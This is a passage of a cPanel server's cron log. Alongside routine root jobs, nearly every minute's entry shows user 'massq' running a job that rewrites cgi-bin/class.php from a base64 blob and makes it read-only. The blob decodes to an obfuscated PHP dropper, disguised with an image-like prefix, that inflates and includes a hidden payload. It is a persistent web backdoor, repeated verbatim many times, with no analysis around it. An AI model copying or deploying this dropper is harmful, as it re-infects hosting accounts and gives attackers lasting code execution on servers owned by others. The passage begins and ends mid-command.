GwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:15:01 server CROND[19182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 22:15:01 server CROND[19183]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  6 22:15:01 server CROND[19184]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 22:15:01 server CROND[19185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:16:01 server CROND[19306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:17:01 server CROND[19477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:18:01 server CROND[19534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:19:01 server CROND[19603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:20:01 server CROND[19678]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 22:20:01 server CROND[19679]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 22:20:01 server CROND[19682]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 22:20:01 server CROND[19684]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 22:20:01 server CROND[19687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:21:01 server CROND[19807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:22:01 server CROND[19975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:23:01 server CROND[20095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:24:01 server CROND[20176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:25:01 server CROND[20247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 22:25:01 server CROND[20248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:25:01 server CROND[20251]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  6 22:25:01 server CROND[20254]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 22:26:01 server CROND[20380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:27:01 server CROND[20538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:27:01 server CROND[20539]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 22:28:01 server CROND[20610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 